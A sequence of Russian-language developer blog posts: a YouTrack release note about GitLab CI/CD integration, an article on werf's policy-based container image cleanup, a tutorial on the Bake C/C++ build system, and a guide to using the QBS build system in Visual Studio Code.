На связи команда JetBrains YouTrack, и у нас для вас новый релиз! Мы дополнили интеграцию с GitLab теперь YouTrack не только отслеживает коммиты и merge-реквесты, но и поддерживает интеграцию с GitLab CI/CD. А это значит, что задачи в YouTrack смогут обновляться автоматически по результатам автоматизированных сборок в GitLab CI/CD. Также мы дополнили релиз интересными улучшениями для работы с задачами. За подробностями добро пожаловать под кат!

Об интеграции с GitLab CI/CD что это и зачем

Непрерывная интеграция и развертывание (CI/CD) были придуманы, чтобы упростить жизнь разработчикам. Благодаря CI/CD вы можете не беспокоиться о том, что ваш код навредит проекту или сломает его, а самое главное вам больше не нужно проверять это вручную.

Как это работает? CI/CD периодически забирает новый код из системы контроля версий (VCS), собирает проект, прогоняет автотесты и разворачивает собранную и протестированную версию, например на сервере, где тестировщики смогут провести остальные этапы тестирования. Если что-то упало, CI/CD сообщит об этом кому нужно, например техлиду проекта или разработчику, который сделал злосчастный коммит.

YouTrack уже давно позволяет интегрировать в процесс управления задачами TeamCity и Jenkins, а теперь к ним присоединился и GitLab CI/CD.

GitLab CI/CD работает с конвейерами (пайплайнами), каждый из которых состоит из ряда заданий (jobs). При появлении изменений в коде GitLab CI/CD выполняет соответствующие задания из пайплайна, чтобы убедиться, что новый код ничего не сломал. Если задание в пайплайне выполнено успешно, GitLab делится этой радостью с YouTrack, который в свою очередь обновляет нужные задачи.

Как именно обновляет? Как скажете! Например, YouTrack может автоматически помечать задачи, упомянутые в сообщении коммита, как завершенные и прописывать в задаче номер пайплайна и ссылку на него. Как обычно, вы можете завязать на интеграцию рабочие процессы (например, указать, чтобы при изменении значения поля Fixed build на странице задачи появлялся комментарий о том, что фикс доступен в продакшене).

Что еще нового?

Мы внесли ряд улучшений в YouTrack Lite и Classic. В YouTrack Lite появилась функция Похожие задачи, которая позволяет избежать дублирования задач. Когда при создании задачи вы вводите ее название, YouTrack ищет задачи со схожим названием и предлагает вам просмотреть их и убедиться, что новая задача их не дублирует. В YouTrack Classic мы добавили удобный текстовый редактор такой же, как в базе знаний и в YouTrack Lite. Теперь вы можете одним щелчком переключаться между режимом разметки и режимом WYSIWYG, встраивать мультимедийные объекты, создавать таблицы и контрольные списки.

Помимо этого, мы внесли небольшие изменения в текущую схему разрешений. Также напоминаем, что со следующей мажорной версии YouTrack перестанет поддерживать устаревший REST API.

Лучше один раз увидеть, чем сто раз прочитать. Напомню, что YouTrack со всеми его новшествами можно попробовать бесплатно. Мы будем рады вашей обратной связи!

Команда YouTrack

Подробнее..

Проблема умной очистки образов контейнеров и её решение в werf

06.10.2020 10:05:04 | Автор: admin


В статье рассмотрена проблематика очистки образов, которые накапливаются в реестрах контейнеров (Docker Registry и его аналогах) в реалиях современных CI/CD-пайплайнов для cloud native-приложений, доставляемых в Kubernetes. Приведены основные критерии актуальности образов и вытекающие из них сложности при автоматизации очистки, сохранения места и удовлетворения потребностям команд. Наконец, на примере конкретного Open Source-проекта мы расскажем, как эти сложности можно преодолеть.

Введение


Количество образов в реестре контейнеров может стремительно расти, занимая больше места в хранилище и, соответственно, значительно увеличивая его стоимость. Для контроля, ограничения либо поддержания приемлемого роста места, занимаемого в registry, принято:

  1. использовать фиксированное количество тегов для образов;
  2. каким-либо образом очищать образы.

Первое ограничение иногда допустимо для небольших команд. Если разработчикам хватает постоянных тегов (latest, main, test, boris и т.п.), реестр не будет раздуваться в размерах и долгое время можно вообще не думать об очистке. Ведь все неактуальные образы перетираются, а для очистки просто не остаётся работы (всё делается штатным сборщиком мусора).

Тем не менее, такой подход сильно ограничивает разработку и редко применим к CI/CD современных проектов. Неотъемлемой частью разработки стала автоматизация, которая позволяет гораздо быстрее тестировать, развертывать и доставлять новый функционал пользователям. Например, у нас во всех проектах при каждом коммите автоматически создается CI-пайплайн. В нём собирается образ, тестируется, выкатывается в различные Kubernetes-контуры для отладки и оставшихся проверок, а если всё хорошо изменения доходят до конечного пользователя. И это давно не rocket science, а обыденность для многих скорее всего и для вас, раз вы читаете данную статью.

Поскольку устранение багов и разработка нового функционала ведется параллельно, а релизы могут выполняться по несколько раз в день, очевидно, что процесс разработки сопровождается существенным количеством коммитов, а значит большим числом образов в registry. В результате, остро встает вопрос организации эффективной очистки registry, т.е. удаления неактуальных образов.

Но как вообще определить, актуален ли образ?

Критерии актуальности образа


В подавляющем большинстве случаев основные критерии будут таковы:

1. Первый (самый очевидный и самый критичный из всех) это образы, которые в настоящий момент используются в Kubernetes. Удаление этих образов может привести к серьезным издержкам в связи с простоем production (например, образы могут потребоваться при репликации) или свести на нет усилия команды, которая занимается отладкой на каком-либо из контуров. (По этой причине мы даже сделали специальный Prometheus exporter, отслеживающий отсутствие таких образов в любом Kubernetes-кластере.)

2. Второй (менее очевиден, но тоже очень важен и снова относится к эксплуатации) образы, которые требуются для отката в случае выявления серьёзных проблем в текущей версии. Например, в случае с Helm это образы, которые используются в сохраненных версиях релиза. (К слову, по умолчанию в Helm лимит в 256 ревизий, но вряд ли у кого-то реально есть потребность в сохранении такого большого количества версий?..) Ведь мы, в частности, для того и храним версии, чтобы можно было их потом использовать, т.е. откатываться на них в случае необходимости.

3. Третий потребности разработчиков: все образы, которые связаны с их текущими работами. К примеру, если мы рассматриваем PR, то имеет смысл оставлять образ, соответствующий последнему коммиту и, скажем, предыдущему коммиту: так разработчик сможет оперативно возвращаться к любой задаче и работать с последними изменениями.

4. Четвертый образы, которые соответствуют версиям нашего приложения, т.е. являются конечным продуктом: v1.0.0, 20.04.01, sierra и т.д.

NB: Определенные здесь критерии были сформулированы на основе опыта взаимодействия с десятками команд разработчиков из разных компаний. Однако, конечно, в зависимости от особенностей в процессах разработки и используемой инфраструктуры (например, не используется Kubernetes), эти критерии могут отличаться.

Соответствие критериям и существующие решения


Популярные сервисы с container registry, как правило, предлагают свои политики очистки образов: в них вы можете определять условия, при которых тег удаляется из registry. Однако возможности этих условий ограничиваются такими параметрами, как имена, время создания и количество тегов*.

* Зависит от конкретных реализаций container registry. Мы рассматривали возможности следующих решений: Azure CR, Docker Hub, ECR, GCR, GitHub Packages, GitLab Container Registry, Harbor Registry, JFrog Artifactory, Quay.io по состоянию на сентябрь'2020.

Такого набора параметров вполне достаточно, чтобы удовлетворить четвёртому критерию то есть отбирать образы, соответствующие версиям. Однако для всех остальных критериев приходится выбирать какое-то компромиссное решение (более жесткую или, наоборот, щадящую политику) в зависимости от ожиданий и финансовых возможностей.

Например, третий критерий связанный с потребностями разработчиков может решаться за счет организации процессов внутри команд: специфичного именования образов, ведения специальных allow lists и внутренних договоренностей. Но в конечном счете его всё равно необходимо автоматизировать. А если возможностей готовых решений не хватает, приходится делать что-то своё.

Аналогична и ситуация с двумя первыми критериями: их невозможно удовлетворить без получения данных от внешней системы той самой, где происходит развёртывание приложений (в нашем случае это Kubernetes).

Иллюстрация workflow в Git


Предположим, вы работаете примерно по такой схеме в Git:



Иконкой с головой на схеме отмечены образы контейнеров, которые в настоящий момент развёрнуты в Kubernetes для каких-либо пользователей (конечных пользователей, тестировщиков, менеджеров и т.д.) или используются разработчиками для отладки и подобных целей.

Что произойдёт, если политики очистки позволяют оставлять (не удалять) образы только по заданным названиям тегов?



Очевидно, такой сценарий никого не обрадует.

Что изменится, если политики позволяют не удалять образы по заданному временному интервалу / числу последних коммитов?



Результат стал значительно лучше, однако всё ещё далёк от идеала. Ведь у нас по-прежнему есть разработчики, которым нужны образы в реестре (или даже развёрнутые в K8s) для отладки багов

Резюмируя сложившуюся на рынке ситуацию: доступные в реестрах контейнеров функции не предлагают достаточной гибкости при очистке, а главная тому причина нет возможности взаимодействовать с внешним миром. Получается, что команды, которым требуется такая гибкость, вынуждены самостоятельно реализовывать удаление образов снаружи, используя Docker Registry API (или нативный API соответствующей реализации).

Однако мы искали универсальное решение, которое автоматизировало бы очистку образов для разных команд, использующих разные реестры

Наш путь к универсальной очистке образов


Откуда такая потребность? Дело в том, что мы не отдельно взятая группа разработчиков, а команда, которая обслуживает сразу множество таковых, помогая комплексно решать вопросы CI/CD. И главный технический инструмент для этого Open Source-утилита werf. Её особенность в том, что она не выполняет единственную функцию, а сопровождает процессы непрерывной доставки на всех этапах: от сборки до деплоя.

Публикация в реестре* образов (сразу после их сборки) очевидная функция такой утилиты. А раз образы туда помещаются на хранение, то если ваше хранилище не безгранично нужно отвечать и за их последующую очистку. О том, как мы добились успеха в этом, удовлетворяя всем заданным критериям, и будет рассказано далее.

* Хоть сами реестры могут быть различными (Docker Registry, GitLab Container Registry, Harbor и т.д.), их пользователи сталкиваются с одними и теми же проблемами. Универсальное решение в нашем случае не зависит от реализации реестра, т.к. выполняется вне самих реестров и предлагает одинаковое поведение для всех.

Несмотря на то, что мы используем werf как пример реализации, надеемся, что использованные подходы будут полезны и другим командам, столкнувшимся с аналогичными сложностями.

Итак, мы занялись внешней реализацией механизма для очистки образов вместо тех возможностей, что уже встроены в реестры для контейнеров. Первым шагом стало использование Docker Registry API для создания всё тех же примитивных политик по количеству тегов и времени их создания (упомянутых выше). К ним был добавлен allow list на основе образов, используемых в развёрнутой инфраструктуре, т.е. Kubernetes. Для последнего было достаточно через Kubernetes API перебирать все задеплоенные ресурсы и получать список из значений image.

Такое тривиальное решение закрыло самую критичную проблему (критерий 1), но стало только началом нашего пути по улучшению механизма очистки. Следующим и куда более интересным шагом стало решение связать публикуемые образы с историей Git.

Схемы тегирования


Для начала мы выбрали подход, при котором конечный образ должен хранить необходимую информацию для очистки, и выстроили процесс на схемах тегирования. При публикации образа пользователь выбирал определённую опцию тегирования (git-branch, git-commit или git-tag) и использовал соответствующее значение. В CI-системах установка этих значений выполнялась автоматически на основании переменных окружения. По сути конечный образ связывался с определённым Git-примитивом, храня необходимые данные для очистки в лейблах.

В рамках такого подхода получился набор политик, который позволял использовать Git как единственный источник правды:

  • При удалении ветки/тега в Git автоматически удалялись и связанные образы в registry.
  • Количество образов, связанное с Git-тегами и коммитами, можно было регулировать количеством тегов, использованных в выбранной схеме, и временем создания связанного коммита.

В целом, получившаяся реализация удовлетворяла нашим потребностям, но вскоре нас ожидал новый вызов. Дело в том, что за время использования схем тегирования по Git-примитивам мы столкнулись с рядом недостатков. (Поскольку их описание выходит за рамки темы этой статьи, все желающие могут ознакомиться с подробностями здесь.) Поэтому, приняв решение о переходе на более эффективный подход к тегированию (content-based tagging), нам пришлось пересмотреть и реализацию очистки образов.

Новый алгоритм


Почему? При тегировании в рамках content-based каждый тег может удовлетворять множеству коммитов в Git. При очистке образов больше нельзя исходить только из коммита, на котором новый тег был добавлен в реестр.

Для нового алгоритма очистки было решено уйти от схем тегирования и выстроить процесс на мета-образах, каждый из которых хранит связку из:

  • коммита, на котором выполнялась публикация (при этом не имеет значения, добавился, изменился или остался прежним образ в реестре контейнеров);
  • и нашего внутреннего идентификатора, соответствующего собранному образу.

Другими словами, была обеспечена связь публикуемых тегов с коммитами в Git.

Итоговая конфигурация и общий алгоритм


Пользователям при конфигурации очистки стали доступны политики, по которым осуществляется выборка актуальных образов. Каждая такая политика определяется:

  • множеством references, т.е. Git-тегами или Git-ветками, которые используются при сканировании;
  • илимитом искомых образов для каждого reference из множества.

Для иллюстрации вот как стала выглядеть конфигурация политик по умолчанию:

cleanup:  keepPolicies:  - references:      tag: /.*/      limit:        last: 10  - references:      branch: /.*/      limit:        last: 10        in: 168h        operator: And    imagesPerReference:      last: 2      in: 168h      operator: And  - references:        branch: /^(main|staging|production)$/    imagesPerReference:      last: 10

Такая конфигурация содержит три политики, которые соответствуют следующим правилам:

  1. Сохранять образ для 10 последних Git-тегов (по дате создания тега).
  2. Сохранять по не более 2 образов, опубликованных за последнюю неделю, для не более 10 веток с активностью за последнюю неделю.
  3. Сохранять по 10 образов для веток main, staging и production.

Итоговый же алгоритм сводится к следующим шагам:

  • Получение манифестов из container registry.
  • Исключение образов, используемых в Kubernetes, т.к. их мы уже предварительно отобрали, опросив K8s API.
  • Сканирование Git-истории и исключение образов по заданным политикам.
  • Удаление оставшихся образов.

Возвращаясь к нашей иллюстрации, вот что получается с werf:



Однако, даже если вы не используете werf, подобный подход к продвинутой очистке образов в той или иной реализации (в соответствии с предпочтительным подходом к тегированию образов) может быть применен и в других системах/утилитах. Для этого достаточно помнить о тех проблемах, которые возникают, и найти те возможности в вашем стеке, что позволяют встроить их решение наиболее гладко. Надеемся, что пройденный нами путь поможет посмотреть и на ваш частный случай с новыми деталями и мыслями.

Заключение


  • Рано или поздно с проблемой переполнения registry сталкивается большинство команд.
  • При поиске решений в первую очередь необходимо определить критерии актуальности образа.
  • Инструменты, предлагаемые популярными сервисами container registry, позволяют организовать очень простую очистку, которая не учитывает внешний мир: образы, используемые в Kubernetes, и особенности рабочих процессов в команде.
  • Гибкий и эффективный алгоритм должен иметь представление о CI/CD-процессах, оперировать не только данными Docker-образов.

P.S.


Читайте также в нашем блоге:

Подробнее..

Готовим C. Система сборки Bake

30.10.2020 20:07:38 | Автор: admin
Сборка Hello World с помощью BakeСборка Hello World с помощью Bake

Наверное, большинство из вас согласится, что на сегодняшний день наибольшую популярность среди систем сборки для проектов на C/C++ имеет CMake. Каково же было мое удивление увидеть в проекте на новой работе собственную систему сборки - Bake.

В этой статье я бы хотел описать основные возможности этой системы, чем она отличается от других подобных систем и показать как на ней можно решить различные задачи, которые возникают в процессе разработки программы.

Bake - это кросс-платформенная система сборки для проектов написанных на С/С++, нацеленная в первую очередь на встраиваемые системы. Bake написан на Ruby, с открытым исходным кодом, который по-прежнему поддерживается (в разработке с 2012 г.)

Основные цели, к которым стремились разработчики при создании данного решения:

  1. Command-line утилита (при этом есть поддержка plugins для некоторых редакторов, включая VSCode);

  2. Которая должна решать только одну задачу - сборка программы;

  3. Простые файлы конфигурации - разработчик должен тратить свое время для написания кода, а не файлов сборки;

  4. Никаких промежуточных этапов генерации, при вызове команды сразу запускается сборка проекта;

  5. Скорость работы должна быть высокой (поддержка параллельной сборки, кеширование результата обработки файлов сборки и т. п.).

Основы

Начнем с установки. Bake это Ruby gem. Поэтому в первую очередь вам нужно установить Ruby (требуется версия не ниже 2.0). А затем установить gem bake-toolkit с сервера rubygems.org:

gem install bake-toolkit

Для создание пустого проекта достаточно выполнить команду одну простую команду, предварительно создав новую папку:

mkdir myapp && cd myapp bake --create exe

Теперь чтобы его собрать, выполним команду

bake -a black**** Building 1 of 1: bake (Main) ****Compiling bake (Main): src/main.cppLinking bake (Main): build/Main/bakeBuilding done.

Флаг -a опционален и определяет цветовую палитру, которую будет использовать bake для вывода символов в терминал (терминал должен поддерживать, управляющие цветом последовательности ANSI).

Результат работы этих команд и показан на начальном скриншоте статьи. При повторном вызове команды сборки, Bake будет использовать кэш и результат предыдущего вызова, конечно предварительно проверив, что исходные файлы и конфигурация сборки не поменялись. Здесь все, как положено.

Если мы захотим пересобрать приложение с нуля, мы можем очистить кэш и запустить сборку снова (похожий результат, можно также получить при запуске bake с флагом --rebuild):

bake -cCleaning done.bake -v2 -a black**** Applying 1 of 2: bake (IncludeOnly) ******** Building 2 of 2: bake (Main) ****g++ -c -MD -MF build/Main/src/main.d -Iinclude -o build/Main/src/main.o src/main.cppg++ -o build/Main/bake build/Main/src/main.oBuilding done.

С флагом -v(0-3) можно добавить больше информации в output, например, при уровне 2, можно увидеть команды компилятора.

Теперь обратим внимание на структуру, полученного проекта:

my_app||-- .bake     `-- .gitignore     |-- Default.Project.meta.cache     |-- Project.meta.cache |-- build     `-- Main         `-- src         |    `-- main.cmdline         |    |-- main.d         |    |-- main.d.bake         |    |-- main.o         |-- .gitignore         |-- my_app         |-- my_app.cmdline|-- Project.meta|-- include`-- src     `-- main.cpp

Файл Project.meta содержит правила сборки, по аналогии с CMakeLists.txt в CMake, таких файлов в проекте может быть несколько. Каждый файл соответствует новому проекту в Bake, а имя проекта определяется названием директории, в которой он находится. Таким образом в папке может быть только один Project.meta файл.

В папке .bake содержится служебная мета-информация, например кэш, которую использует Bake для внутренних процессов. Она не представляет для нас особого интереса. Отмечу лишь, что Bake автоматически создает .gitignore файл для Git.

Папка build содержит результат работы. Здесь находятся артефакты компиляции main.o и my_app, а файлы с расширением .cmdline содержат, использованные для их создания команды компилятору/линкеру. Дополнительно файл .d.bake содержит список всех подключенных header файлов. Структура build директории, зависит от содержания файла Project.meta, в частности Main в данном случае это название конфигурации в нем, поэтому давайте разберем его структуру более подробно.

Project default: Main { RequiredBakeVersion minimum: "2.66.0"   Responsible {    Person "mdanilov"  } CustomConfig IncludeOnly {    IncludeDir include, inherit: true  } ExecutableConfig Main {    Files "src/*/.cpp"    Dependency config: IncludeOnly    DefaultToolchain GCC  }} 

Bake использует собственный декларативный язык, достаточно простой для понимания. Интересный факт, для описания синтаксиса языка была использована другая наработка одного из сотрудников компании - RText. Полный синтаксис представлен в документации Bake здесь.

Если вы вдруг решили попробовать, вы можете установить VSCode extension для подсветки синтаксиса. Для остальных поддерживаемых IDE можно посмотреть тут.

Итак, любой файл обычно начинается с ключевого слова Project и как я уже писал выше ему автоматически присваивается имя папки, в которой он находится. Далее мы указываем имя конфигурации (далее просто Config) по-умолчанию (та, которая будет запускаться при вызове bake без параметров). Проект может содержать сколь-угодно Configов, но все они могут быть только 3 типов - LibraryConfig для создания библиотек, ExecutableConfig для исполняемых файлов, или например ELF файлов, в случае сборки для микроконтроллера, и CustomConfig для всех остальных. После ключевого слова следует его имя, в примере это IncludeOnly для CustomConfig и Main для ExecutableConfig, который default.

Так как в Bake нет специальных Config для определения include директорий (в CMake мы обычно используем конструкции include_directories или target_include_directories), для этих целей используется паттерн CustomConfig с именем IncludeOnly, но для Bake это обычный Config.

Итак, IncludeDir указывает относительный путь к папке include проекта, где подразумевается хранить все публичные header файлы для библиотек. В нашем случае у нас нет библиотек с публичным API, которым могли бы воспользоваться другие проекты, поэтому папка include пустая. Атрибут inherit определяет будет ли данная директория унаследована проектами, которые будут использовать данный проект в качестве зависимости с помощью указания Dependency.

Затем в ExecutableConfig указываем пути к исходным файлам, из которых состоит наше приложение, используя команду Files. C помощью Dependency мы можем указать зависимость на другой Config, в нашем случае это CustomConfig IncludeOnly. Таким образом, мы наследуем include директории (см. описание inherit: true выше).

Обязательным атрибутом также является указание DefaultToolchain, который будет использоваться Bake по-умолчанию для всех проектов. В данном случае это gcc.

Список всех поддерживаемых toolchain можно узнать командой:

bake --toolchain-namesAvailable toolchains:* Diab* GCC* CLANG* CLANG_ANALYZE* CLANG_BITCODE* TI* GreenHills* Keil* IAR* MSVC* GCC_ENV* Tasking

Hello world это хорошо, но что насчет реальных проектов

Чтобы внести немного ясности в систему зависимостей приведу более приближенный к реальности пример с несколькими проектами в одном workspace.

Пример структуры проекта для приложения my_appПример структуры проекта для приложения my_app

Предположим, что у нас есть приложение my_app, которое состоит из трех библиотек libA, libB, libC. Причем libB зависит от libC, а libC поставляется в виде бинарного файла с заголовочными файлами интерфейсов. И мы также хотим иметь unit тесты для libB.

Для такого приложения на скриншоте приведен пример организации файлов и правил сборки Bake. У нас есть основной Project.meta с описанием toolchain в корне проекта, и для каждой библиотеки свой Project.meta для удобства (конечно можно было бы описать все и в одном Project.meta файле, но при большом количестве библиотек и правил его было бы невозможно поддерживать).

В корневом Project.meta я привел пример как можно добавить дополнительные флаги компиляции с помощью свойства Flags. В данном случае флаги передаются компилятору C++, возможно таким же образом отдельно указать флаги для линкера (Linker), компилятора языка C (Compiler C), ассемблера (Compiler ASM) и архиватора (Archiver). Для того чтобы узнать конфигурацию по-умолчанию для GCC toolchain можно использовать команду bake --toolchain-info GCC.

Bake также позволяет добавлять дополнительные этапы сборки для выполнения различных команд после или перед сборкой определенных Config. Поддерживаются команды для работы с файловой системой (создание директории, копирование файла и т. п.) или запуск внешних процессов с помощью команды CommandLine (в примере не используется). Воспользуемся этим, чтобы создать release пакет нашего приложения установив команды MakeDir и Copy в PostSteps.

Вы также можете увидеть здесь использование встроенных переменных, например ArtifactName содержит имя полученного бинарного файла, после сборки Main конфигурации.

Bake определяет 3 типа переменных: встроенные, определенные пользователем и переменные окружения.

  • Список встроенных переменных можно посмотреть тут;

  • Переменные пользователя устанавливаются командой Set как на скриншоте выше для InstallDir или передаются в bake в качестве параметра командной строки --set MyVar="Hello world!";

  • Переменные окружения определяются ОС

Теперь рассмотрим Project.meta файлы наших библиотек:

libA/Project.meta

Project default: Lib {  CustomConfig IncludeOnly {    IncludeDir include, inherit: true  }  LibraryConfig Lib {    Files "src/*/.cpp"    Dependency config: IncludeOnly    Toolchain {      Compiler CPP {        Flags remove: "-O2 -march=native"      }    }  }}

Bake также позволяет переопределить или задать дополнительные параметры toolchain для любого Config. В качестве примера для libA я удалил флаги компиляции, которые мы определили в основном DefaultToolchain, таким образом сборка библиотеки будет происходить без оптимизации.

libB/Project.meta

Project default: Lib {  CustomConfig IncludeOnly {    IncludeDir include, inherit: true  }  LibraryConfig Lib {    Files "src//.cpp"    Dependency config: IncludeOnly    Dependency libC, config: IncludeOnly  }    ExecutableConfig UnitTest {    Files "test/src//.cpp"    Dependency config: Lib    DefaultToolchain GCC  }}

libB содержит пример того, как может быть организована сборка UnitTest. Мы просто создаем дополнительный исполняемый Config с исходными файлами тестов, указываем зависимость на тестируемую библиотеку и определяем для него DefaultToolchain (это необходимо, для того чтобы была возможность скомпилировать только UnitTest).

libC/Project.meta

Project default: Lib {  CustomConfig IncludeOnly {    IncludeDir include, inherit: true  }  LibraryConfig Lib {    ExternalLibrary "libC.a", search: false    Dependency config: IncludeOnly  }}

libC не собирается из исходных файлов, а линкуется в пре собранном виде, поэтому здесь мы используем атрибут ExternalLibrary.

Имея такую конфигурация, мы также теперь можем выполнять компиляцию отдельных проектов с помощью команды bake -p <dir>, где dir это имя проекта (libA, libB, ..).

Список часто используемых и полезных команд

1) Параллельная сборка организована на уровне исходных файлов и проектов Bake, для указания количества используемых потоков, как и во многих похожих утилитах используется параметр командной строки -j с указанием числа. По умолчанию, используется число ядер ЦПУ. Команда для запуска в 1 поток: bake -j 1

2) Есть возможность генерации файла compile_commands.json. bake --compile-db compile_commands.json

3) Поддержка частичной сборки. Если запустить bake с параметром --prebuild, будет запущена сборка только тех Config, для которых есть правило исключения, для остальных Config будет использоваться результат предыдущей сборки. Исключения задаются в Project.meta с помощью паттерна:

Prebuild {  Except <project>, config: <config>  ...}

Данная функциональность, например может быть использована для создания SDK, или тогда, когда хотите предоставить возможность писать стороннему разработчику часть модулей вашего приложения с возможностью сборки, но при этом не открывая исходных кодов остальной части проекта.

Для создания такого SDK, вам нужно сначала собрать проект полностью, а затем удалить все исходные файлы, оставив только заголовочные файлы публичных API, и предварительно определив Except правила. Сборка из SDK будет осуществляться с помощью команды bake --prebuild.

4) Сборка нескольких проектов с помощью утилиты bakery. Если вы например хотите собрать все UnitTest вы можете сделать это с помощью команды bakery -b AllUnitTests, предварительно создав файл Collection.meta, используемый bakery для создания списка Config для сборки:

Collection AllUnitTests {  Project "*", config: UnitTest}

5) Генерация дерева зависимостей. После выполнения команды bake --dot DependencyGraph.dot для примера из статьи получим следующий рисунок:

Дерево зависимостей проектаДерево зависимостей проекта

6) Генерация JSON файла со списком всех incudes и defines bake --incs-and-defs=json Приведу только часть файла для примера:

"myapp": {  "includes": [    "libA/include",    "libB/include",    "libC/include"  ],  "cppdefines": [],  "c_defines": [],  "asm_defines": [],  "dir": "/Users/mdanilov/Work/my_app"}

Adaptions как высший уровень работы с Bake

Adaptions наверное самая сложная для понимания часть устройства Bake. Как можно понять из названия, они позволяют модифицировать конфигурацию проекта, но делают с помощью отдельных директив, таким образом не меняя основную структуру проекта.

Их можно определить как в Project.meta, так и в отдельном Adapt.meta (предпочтительный вариант). Но синтаксис и в том и другом случае будет один и тот же. Удобство отдельного файла заключается в том, что его можно применить к проекту в качестве параметра командной строки --adapt.

Объяснить как они работают лучше на примере. Допустим, мы хотим собрать наш проект для gcc (как вы помните мы определили DefaultToolchain GCC) с помощью Clang компилятора, при этом не меняя Project.meta. Единственный способ сделать это в Bake, это использовать Adapt.meta:

Adapt {  ExecutableConfig __MAIN__, project: __MAIN__, type: replace {    DefaultToolchain CLANG  }}

В данном случае, мы заменили (replace) DefaultToolchain для основного Config в основном проекте, используя ключевое слово __MAIN__ в качестве имен.

Важно: Adapt.meta файл должен находится в отдельной директории, именно по имени директории Bake будет осуществлять поиск (это сделано по аналогии с именем проекта в случае с Project.meta).

Теперь поместив файл в папку clang, мы можем запустить команду сборки bake --adapt clang и убедиться, что она происходит компилятором Clang.

В качестве ключевого слова для названии можно также использовать __ALL__, если мы хотим переопределить все. Или можно явно указывать конкретное имя. А для типов модификаций, кроме replace, remove, extend и push_front. Более подробную, но к сожалению не исчерпывающую, информацию можно найти в документации.

Вы также можно применять несколько модификаций за раз, передавая несколько --adapt параметров.

Или добавлять различные условия для их выполнения:

Adapt toolchain: GCC, os: Windows {  }

Данная модификация будет применена к конфигурациям только при использовании компилятора GCC на Windows. В данном случае ключевое слово Adapt можно заменить на If (или Unless, если логику нужно инвертировать) для лучшей читаемости.

Заключение

В заключении хотелось бы подчеркнуть, что данная статья написана исключительно в ознакомительных целях и просто показывает еще один способ того, как может быть организована сборка проектов на C/C++.

От себя могу добавить, что Bake действительно быстро работает, и я не тратил много времени на его изучение. Очень много проектов в компании было написано, исключительно с использованием Bake. И большие проекты для него, по крайне мере в рамках встраиваемых систем, не проблема.

Но, если я буду писать свое следующие приложение на C/C++ для сборки я, наверное, все же буду использовать CMake. Ну потому что, это CMake :)

Подробнее..

Работа с системой сборки QBS в редакторе Visual Studio Code

03.11.2020 16:17:49 | Автор: admin
Здравствуйте, товарищи программисты и все кто им сочувствует. Я хотел бы предложить обзор возможностей редактора Visual Studio Code в связке с системой сборки QBS. Кому эта тема интересна, добро пожаловать по кат.



Примечание: Напомню, что QBS разрабатывалась компанией Qt Company, которая в дальнейшем отказалась от разработки данного продукта и отдала его на откуп сообществу. На данный момент QBS активно развивается и выходят новые релизы. Это я на тот случай, чтобы не было глупых комментариев на этот счет. Так сказать, расставляю точки над И.

До недавнего времени система сборки QBS поддерживалась только в IDE QtCreator.

Но теперь есть возможность использования этой замечательной системы сборки (описывать, почему она замечательная я здесь не буду) с открытым редактором исходного кода Visual Studio Code.

Буквально, чуть больше месяца назад ребята из QBS-community подкинули идейку: а почему бы собственно, не создать плагин для Visual Studio Code?. Хмм, действительно, сама Visual Studio Code имеет широкое распространение среди определенной части человечества, да и QBS имеет специально разработанное JSON подобное API для упрощения интеграции с любыми IDE. И работа закипела.

В результате этой работы на свет появилось расширение QBS для Visual Studio Code, которое уже имеет следующие возможности:

  • Открыть директорию с файлами проектов.
  • Выбрать нужный проект для сборки (если в директории несколько файлов).
  • Выбрать профиль для сборки (аналог комплекта с компиляторами).
  • Выбрать конфигурацию сборки (debug/release).
  • Выбрать конкретный продукт для сборки (или все продукты).
  • Выбрать конкретный продукт для запуска в терминале.
  • Выбрать конкретный продукт для его отладки.
  • Работает автоматическая интеллектуальная подсветка C/C++ кода.
  • Работает базовая подсветка для файлов *.qbs.
  • Строится дерево проекта со всеми артефактами.


Примечание: На данный момент это расширение еще не опубликовано в маркете Visual Studio Code, т.к. еще необходимо некоторое время для доработки.

Итак, давайте подробнее разберем, как же использовать данное расширение.

Установка зависимостей



Здесь описывается базовый процесс установки QBS и Visual Studio Code.

  • Для начала необходимо скачать или установить сам QBS версии 1.16 или выше. Для этого можно воспользоваться официальным хранилищем, или установить его из репозиториев.

    Примечание: Я не буду здесь описывать процесс установки QBS.
  • Далее, необходимо настроить профили, которыми QBS будет компилировать проекты. Как это делать, подробно описано в документации.

    Для быстрой настройки можно попросить QBS автоматически определить все установленные компиляторы и создать профили:

    qbs setup-toolchains --detect
    


    и потом посмотреть что получилось используя UI утилиту config-ui, или сделать все из командной строки:

    qbs config --list profiles
    


    Примечание: Возможно, перед этим нужно задать путь к желаемому компилятору в переменной окружения PATH.
  • Далее, необходимо скачать последнее QBS расширение отсюда.

    Примечание: Это файл с расширением *.vsix
  • Далее, необходимо установить редактор Visual Studio Code, запустить его и установить скачанное ранее QBS расширение, набрав комбинацию клавиш ctrl+ shift + p и в выпадающем меню выбрав пункт Extensions: Install from VSIX... указав путь к *.vsix файлу.


Подготовка к работе



Теперь необходимо настроить установленное расширение для работы QBS. Для этого нужно открыть настройки этого расширения, выбрав File -> Preferences -> Extensions. Далее выбратьQBS, нажать на кнопочку Manage и выбрать пункт Extension Settings.

  • Далее, необходимо указать путь к исполняемому файлу QBS в поле QBS Path, например:



    Примечание: В качестве разделителей пути надо использовать прямую черту /.
  • Остальные параметры можно на данный момент оставить как есть.


Открытие проекта



Чтобы открыть проект, необходимо выбрать директорию в которой находится файл проекта *.qbs. Для этого нужно выбрать File -> Open Folder и выбрать желаемую директорию.

Примечание: Кажется, это такая особенность данного редактора.

После того как директория будет выбрана, автоматически активируется QBS расширение и запустит QBS сессию. Текущий статус сессии будет отображаться внизу на кнопке QBS: started панели инструментов редактора:



Далее, расширение перечислит все имеющиеся файлы проектов *.qbs в данной директории и установит первый попавшийся проект как проект по умолчанию. Имя файла текущего активного проекта будет отображаться внизу на соответствующей кнопке панели инструментов редактора:



Примечание: Пользователь может кликнуть на эту кнопку и в выпадающем списке выбрать другой файл проекта из этой директории.

Далее, расширение установит по умолчанию первый попавшийся профиль, конфигурацию сборки установит в debug, и запустит автоматическое сканирование проекта для построения графа сборки.

Процесс выполнения сканирования (прогресс в процентах) будет отображаться во всплывающем уведомлени в нижней правой части экрана:



Примечание: Все прогрессы таких операций как сканирование, сборка, очистка будут отображаться в этих всплывающих сообщениях.

Кроме того, расширение создает два выходных окна для просмотра текущих сообщений:

  • QBS Compile Output отображает сообщения от основных операций сканирования, сборки и очистки:


  • QBS Message Output отображает сервисные сообщения (например из JS кода от модулей QBS):




